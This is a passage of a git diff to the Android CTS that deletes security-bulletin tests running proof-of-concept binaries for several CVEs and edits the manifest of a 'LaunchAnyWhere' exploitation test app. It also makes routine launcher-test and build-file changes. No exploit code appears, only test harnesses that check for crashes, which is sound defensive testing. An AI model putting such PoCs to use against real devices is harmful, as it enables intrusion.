- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import static org.junit.Assert.*;
-
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc19_06 extends SecurityTestCase {
-
-    /**
-     * b/129556445
-     */
-    @Test
-    @SecurityTest(minPatchLevel = "2019-06")
-    public void testPocCVE_2019_2097() throws Exception {
-        int code = AdbUtils.runProxyAutoConfig("CVE-2019-2097", getDevice());
-        assertTrue(code != 139); // 128 + signal 11
-    }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_08.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_08.java
deleted file mode 100644
index c2ce29d..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_08.java
+++ /dev/null
@@ -1,38 +0,0 @@
-/**
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import static org.junit.Assert.*;
-
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc19_08 extends SecurityTestCase {
-
-    /**
-     * b/129556445
-     */
-    @Test
-    @SecurityTest(minPatchLevel = "2019-08")
-    public void testPocCVE_2019_2130() throws Exception {
-        int code = AdbUtils.runProxyAutoConfig("CVE-2019-2130", getDevice());
-        assertTrue(code != 139); // 128 + signal 11
-    }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_11.java
deleted file mode 100644
index a79e2b1..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_11.java
+++ /dev/null
@@ -1,48 +0,0 @@
-/**
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import static org.junit.Assert.*;
-
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc19_11 extends SecurityTestCase {
-
-    /**
-     * b/138441919
-     */
-    @Test
-    @SecurityTest(minPatchLevel = "2019-11")
-    public void testPocBug_138441919() throws Exception {
-        int code = AdbUtils.runProxyAutoConfig("bug_138441919", getDevice());
-        assertTrue(code != 139); // 128 + signal 11
-    }
-
-    /**
-     * b/139806216
-     */
-    @Test
-    @SecurityTest(minPatchLevel = "2019-11")
-    public void testPocBug_139806216() throws Exception {
-        int code = AdbUtils.runProxyAutoConfig("bug_139806216", getDevice());
-        assertTrue(code != 139 && code != 135); // 128 + signal 11, 128 + signal 7
-    }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
index 987e3e3..35e46c7 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -262,17 +262,6 @@
     }
 
     /**
-     * b/74122779
-     * Vulnerability Behaviour: SIGABRT in audioserver
-     */
-    @SecurityTest(minPatchLevel = "2018-07")
-    @Test
-    public void testPocCVE_2018_9428() throws Exception {
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
-        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2018-9428", getDevice());
-    }
-
-    /**
      * b/64340921
      * Vulnerability Behaviour: SIGABRT in audioserver
      */
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.bp b/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.bp
index 5a2039a..73aa36e 100644
--- a/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsHostLaunchAnyWhereApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/launchanywhere/AndroidManifest.xml
index 1553c92..cc95d29 100644
--- a/hostsidetests/securitybulletin/test-apps/launchanywhere/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/AndroidManifest.xml
@@ -15,30 +15,30 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.security.cts.launchanywhere"
-    android:versionCode="1"
-    android:versionName="1.0">
+     package="com.android.security.cts.launchanywhere"
+     android:versionCode="1"
+     android:versionName="1.0">
 
     <application android:label="LaunchAnyWhere Exploitation App">
-        <activity android:name=".StartExploit">
+        <activity android:name=".StartExploit"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
         <service android:name=".AuthenticatorService"
-            android:enabled="true"
-            android:exported="true">
+             android:enabled="true"
+             android:exported="true">
 
             <intent-filter>
-                <action android:name="android.accounts.AccountAuthenticator" />
+                <action android:name="android.accounts.AccountAuthenticator"/>
             </intent-filter>
 
-            <meta-data
-                android:name="android.accounts.AccountAuthenticator"
-                android:resource="@xml/launchanywhere_authenticator" />
+            <meta-data android:name="android.accounts.AccountAuthenticator"
+                 android:resource="@xml/launchanywhere_authenticator"/>
         </service>
 
     </application>
-</manifest>
\ No newline at end of file
+</manifest>
diff --git a/hostsidetests/settings/Android.bp b/hostsidetests/settings/Android.bp
index 66a198b..164beee 100644
--- a/hostsidetests/settings/Android.bp
+++ b/hostsidetests/settings/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsSettingsHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/settings/app/DeviceOwnerApp/Android.bp b/hostsidetests/settings/app/DeviceOwnerApp/Android.bp
index 8bd223d..0a22b57 100644
--- a/hostsidetests/settings/app/DeviceOwnerApp/Android.bp
+++ b/hostsidetests/settings/app/DeviceOwnerApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsSettingsDeviceOwnerApp",
     defaults: ["cts_defaults"],
@@ -37,6 +33,7 @@
         "androidx.test.rules",
         "ub-uiautomator",
         "truth-prebuilt",
+        "cts-wm-util",
     ],
     // tag this module as a cts test artifact
     test_suites: [
diff --git a/hostsidetests/settings/app/DeviceOwnerApp/AndroidManifest.xml b/hostsidetests/settings/app/DeviceOwnerApp/AndroidManifest.xml
index b70c972..be53c0c 100644
--- a/hostsidetests/settings/app/DeviceOwnerApp/AndroidManifest.xml
+++ b/hostsidetests/settings/app/DeviceOwnerApp/AndroidManifest.xml
@@ -15,36 +15,34 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.google.android.cts.deviceowner" >
+     package="com.google.android.cts.deviceowner">
 
-    <application
-        android:label="Privacy Settings for Device Owner CTS host side app"
-        android:testOnly="true">
+    <application android:label="Privacy Settings for Device Owner CTS host side app"
+         android:testOnly="true">
 
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <activity
-            android:name="com.google.android.cts.deviceowner.WorkPolicyInfoActivity"
-            android:exported="true"
-            android:launchMode="singleTask">
+        <activity android:name="com.google.android.cts.deviceowner.WorkPolicyInfoActivity"
+             android:exported="true"
+             android:launchMode="singleTask">
             <intent-filter>
                 <category android:name="android.intent.category.DEFAULT"/>
                 <action android:name="android.settings.SHOW_WORK_POLICY_INFO"/>
             </intent-filter>
         </activity>
 
-        <receiver
-            android:name="com.google.android.cts.deviceowner.DeviceOwnerTest$BasicAdminReceiver"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <receiver android:name="com.google.android.cts.deviceowner.DeviceOwnerTest$BasicAdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="com.google.android.cts.deviceowner"
-                     android:label="Privacy Settings for Device Owner CTS tests"/>
+         android:targetPackage="com.google.android.cts.deviceowner"
+         android:label="Privacy Settings for Device Owner CTS tests"/>
 </manifest>
diff --git a/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java b/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java
index 3442ce1..6581614 100644
--- a/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java
+++ b/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java
@@ -15,6 +15,8 @@
  */
 package com.google.android.cts.deviceowner;
 
+import static android.server.wm.WindowManagerState.STATE_RESUMED;
+
 import android.app.admin.DeviceAdminReceiver;
 import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
@@ -23,6 +25,7 @@
 import android.content.pm.PackageManager;
 import android.os.RemoteException;
 import android.provider.Settings;
+import android.server.wm.WindowManagerStateHelper;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.Until;
@@ -105,9 +108,16 @@
 
     private void launchSettingsPage(Context ctx, String pageName) throws Exception {
         Intent intent = new Intent(pageName);
-        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+
+        ComponentName componentName =
+                ctx.getPackageManager()
+                        .resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY)
+                        .getComponentInfo()
+                        .getComponentName();
         ctx.startActivity(intent);
-        Thread.sleep(TIMEOUT * 2);
+
+        new WindowManagerStateHelper().waitForActivityState(componentName, STATE_RESUMED);
     }
 
     private void disableWorkPolicyInfoActivity() {
diff --git a/hostsidetests/shortcuts/deviceside/Android.bp b/hostsidetests/shortcuts/deviceside/Android.bp
index bd66d27..1981e4a 100644
--- a/hostsidetests/shortcuts/deviceside/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/Android.bp
@@ -1,7 +1,3 @@
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_defaults {
     name: "hostsidetests-shortcuts-deviceside-defaults",
     static_libs: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.bp b/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.bp
index c5705e1..98df20f 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsShortcutBackupLauncher1",
     defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher1/src/android/content/pm/cts/shortcut/backup/launcher1/ShortcutManagerPostBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/launcher1/src/android/content/pm/cts/shortcut/backup/launcher1/ShortcutManagerPostBackupTest.java
index e76cf28..b07160b 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher1/src/android/content/pm/cts/shortcut/backup/launcher1/ShortcutManagerPostBackupTest.java
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher1/src/android/content/pm/cts/shortcut/backup/launcher1/ShortcutManagerPostBackupTest.java
@@ -25,7 +25,7 @@
     protected void setUp() throws Exception {
         super.setUp();
 
-        setAsDefaultLauncher(MainActivity.class);
+        setAsDefaultLauncher();
     }
 
     public void testWithUninstall_beforeAppRestore() {
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher1/src/android/content/pm/cts/shortcut/backup/launcher1/ShortcutManagerPreBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/launcher1/src/android/content/pm/cts/shortcut/backup/launcher1/ShortcutManagerPreBackupTest.java
index 56639ce..9595ffe 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher1/src/android/content/pm/cts/shortcut/backup/launcher1/ShortcutManagerPreBackupTest.java
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher1/src/android/content/pm/cts/shortcut/backup/launcher1/ShortcutManagerPreBackupTest.java
@@ -33,7 +33,7 @@
     protected void setUp() throws Exception {
         super.setUp();
 
-        setAsDefaultLauncher(MainActivity.class);
+        setAsDefaultLauncher();
     }
 
     public void testPreBackup() {
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.bp b/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.bp
index 52b58c8..e6f48a2 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsShortcutBackupLauncher2",
     defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher2/src/android/content/pm/cts/shortcut/backup/launcher2/ShortcutManagerPostBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/launcher2/src/android/content/pm/cts/shortcut/backup/launcher2/ShortcutManagerPostBackupTest.java
index 115c476..a9949e5 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher2/src/android/content/pm/cts/shortcut/backup/launcher2/ShortcutManagerPostBackupTest.java
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher2/src/android/content/pm/cts/shortcut/backup/launcher2/ShortcutManagerPostBackupTest.java
@@ -25,7 +25,7 @@
     protected void setUp() throws Exception {
         super.setUp();
 
-        setAsDefaultLauncher(MainActivity.class);
+        setAsDefaultLauncher();
     }
 
     public void testWithUninstall_afterAppRestore() {
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher2/src/android/content/pm/cts/shortcut/backup/launcher2/ShortcutManagerPreBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/launcher2/src/android/content/pm/cts/shortcut/backup/launcher2/ShortcutManagerPreBackupTest.java
index b0e0e2c..af7c344 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher2/src/android/content/pm/cts/shortcut/backup/launcher2/ShortcutManagerPreBackupTest.java
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher2/src/android/content/pm/cts/shortcut/backup/launcher2/ShortcutManagerPreBackupTest.java
@@ -33,7 +33,7 @@
     protected void setUp() throws Exception {
         super.setUp();
 
-        setAsDefaultLauncher(MainActivity.class);
+        setAsDefaultLauncher();
     }
 
     public void testPreBackup() {
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.bp b/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.bp
index b032c0b..ab286df 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsShortcutBackupLauncher3",
     defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher3/src/android/content/pm/cts/shortcut/backup/launcher3/ShortcutManagerPostBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/launcher3/src/android/content/pm/cts/shortcut/backup/launcher3/ShortcutManagerPostBackupTest.java
index 3945a2b..37cdfff 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher3/src/android/content/pm/cts/shortcut/backup/launcher3/ShortcutManagerPostBackupTest.java
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher3/src/android/content/pm/cts/shortcut/backup/launcher3/ShortcutManagerPostBackupTest.java
@@ -24,7 +24,7 @@
     protected void setUp() throws Exception {
         super.setUp();
 
-        setAsDefaultLauncher(MainActivity.class);
+        setAsDefaultLauncher();
     }
 
     public void testWithUninstall_afterAppRestore() {
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher3/src/android/content/pm/cts/shortcut/backup/launcher3/ShortcutManagerPreBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/launcher3/src/android/content/pm/cts/shortcut/backup/launcher3/ShortcutManagerPreBackupTest.java
index 2638df3..03e4f54 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher3/src/android/content/pm/cts/shortcut/backup/launcher3/ShortcutManagerPreBackupTest.java
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher3/src/android/content/pm/cts/shortcut/backup/launcher3/ShortcutManagerPreBackupTest.java
@@ -33,7 +33,7 @@
     protected void setUp() throws Exception {
         super.setUp();
 
-        setAsDefaultLauncher(MainActivity.class);
+        setAsDefaultLauncher();
     }
 
     public void testPreBackup() {
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher4new/Android.bp b/hostsidetests/shortcuts/deviceside/backup/launcher4new/Android.bp
index 64124bf..aa3228f 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher4new/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4new/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsShortcutBackupLauncher4new",
     defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher4old/Android.bp b/hostsidetests/shortcuts/deviceside/backup/launcher4old/Android.bp
index 9167807..96672d6 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher4old/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4old/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsShortcutBackupLauncher4old",
     defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/ShortcutManagerPostBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/ShortcutManagerPostBackupTest.java
index f9ecfef..f631df6 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/ShortcutManagerPostBackupTest.java
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/ShortcutManagerPostBackupTest.java
@@ -25,7 +25,7 @@
     protected void setUp() throws Exception {
         super.setUp();
 
-        setAsDefaultLauncher(MainActivity.class);
+        setAsDefaultLauncher();
     }
 
     public void testRestoredOnOldVersion() {
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/ShortcutManagerPreBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/ShortcutManagerPreBackupTest.java
index 8d99255..c5f1445 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/ShortcutManagerPreBackupTest.java
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/ShortcutManagerPreBackupTest.java
@@ -29,7 +29,7 @@
     protected void setUp() throws Exception {
         super.setUp();
 
-        setAsDefaultLauncher(MainActivity.class);
+        setAsDefaultLauncher();
     }
 
     public void testPreBackup() {
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.bp b/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.bp
index d4998ce..4a82860 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsShortcutBackupPublisher1",
     defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.bp b/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.bp
index ba9b12c..d64693f 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsShortcutBackupPublisher2",
     defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.bp b/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.bp
index 8dc0019..f5eaff7 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsShortcutBackupPublisher3",
     defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new/Android.bp b/hostsidetests/shortcuts/deviceside/backup/publisher4new/Android.bp
index a68c714..7abb9de 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4new/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsShortcutBackupPublisher4new",
     defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/Android.bp b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/Android.bp
index 04e9e81..28e0a5c 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsShortcutBackupPublisher4new_nobackup",
     defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/Android.bp b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/Android.bp
index 760ea43..85c6815 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsShortcutBackupPublisher4new_nomanifest",
     defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/Android.bp b/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/Android.bp
index 323847a..0837f42 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsShortcutBackupPublisher4new_wrongkey",
     defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/Android.bp b/hostsidetests/shortcuts/deviceside/backup/publisher4old/Android.bp
index e8c0487..96630fc 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4old/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsShortcutBackupPublisher4old",
     defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPostBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPostBackupTest.java
index 224c8ba..19f2b58 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPostBackupTest.java
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPostBackupTest.java
@@ -291,7 +291,7 @@
 
         // Force launcher 4 to be the default launcher so it'll receive the pin request.
         setDefaultLauncher(getInstrumentation(),
-                "android.content.pm.cts.shortcut.backup.launcher4/.MainActivity");
+                "android.content.pm.cts.shortcut.backup.launcher4");
 
         // Update, set and add have been tested already, so let's test "pin".
 
@@ -319,7 +319,7 @@
         getContext().registerReceiver(onResult, myFilter);
         assertTrue(getManager().requestPinShortcut(ms2,
                 PendingIntent.getBroadcast(getContext(), 0, new Intent(myIntentAction),
-                        PendingIntent.FLAG_CANCEL_CURRENT).getIntentSender()));
+                        PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED).getIntentSender()));
 
         assertTrue("Didn't receive requestPinShortcut() callback.",
                 latch.await(30, TimeUnit.SECONDS));
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/Android.bp b/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/Android.bp
index 13b9227..d48db7b 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsShortcutBackupPublisher4old_nomanifest",
     defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/common/Android.bp b/hostsidetests/shortcuts/deviceside/common/Android.bp
index bbd86c8..a94a29a 100644
--- a/hostsidetests/shortcuts/deviceside/common/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/common/Android.bp
@@ -1,7 +1,3 @@
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "hostsidetests-shortcuts-deviceside-common",
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/shortcuts/deviceside/common/src/android/content/pm/cts/shortcut/device/common/ShortcutManagerDeviceTestBase.java b/hostsidetests/shortcuts/deviceside/common/src/android/content/pm/cts/shortcut/device/common/ShortcutManagerDeviceTestBase.java
index da91a71..550e509 100644
--- a/hostsidetests/shortcuts/deviceside/common/src/android/content/pm/cts/shortcut/device/common/ShortcutManagerDeviceTestBase.java
+++ b/hostsidetests/shortcuts/deviceside/common/src/android/content/pm/cts/shortcut/device/common/ShortcutManagerDeviceTestBase.java
@@ -87,9 +87,8 @@
         return android.os.Process.myUserHandle();
     }
 
-    protected void setAsDefaultLauncher(Class<?> clazz) {
-        setDefaultLauncher(getInstrumentation(),
-                getContext().getPackageName() + "/" + clazz.getName());
+    protected void setAsDefaultLauncher() {
+        setDefaultLauncher(getInstrumentation(), getContext());
     }
 
     protected Drawable getIconAsLauncher(String packageName, String shortcutId) {
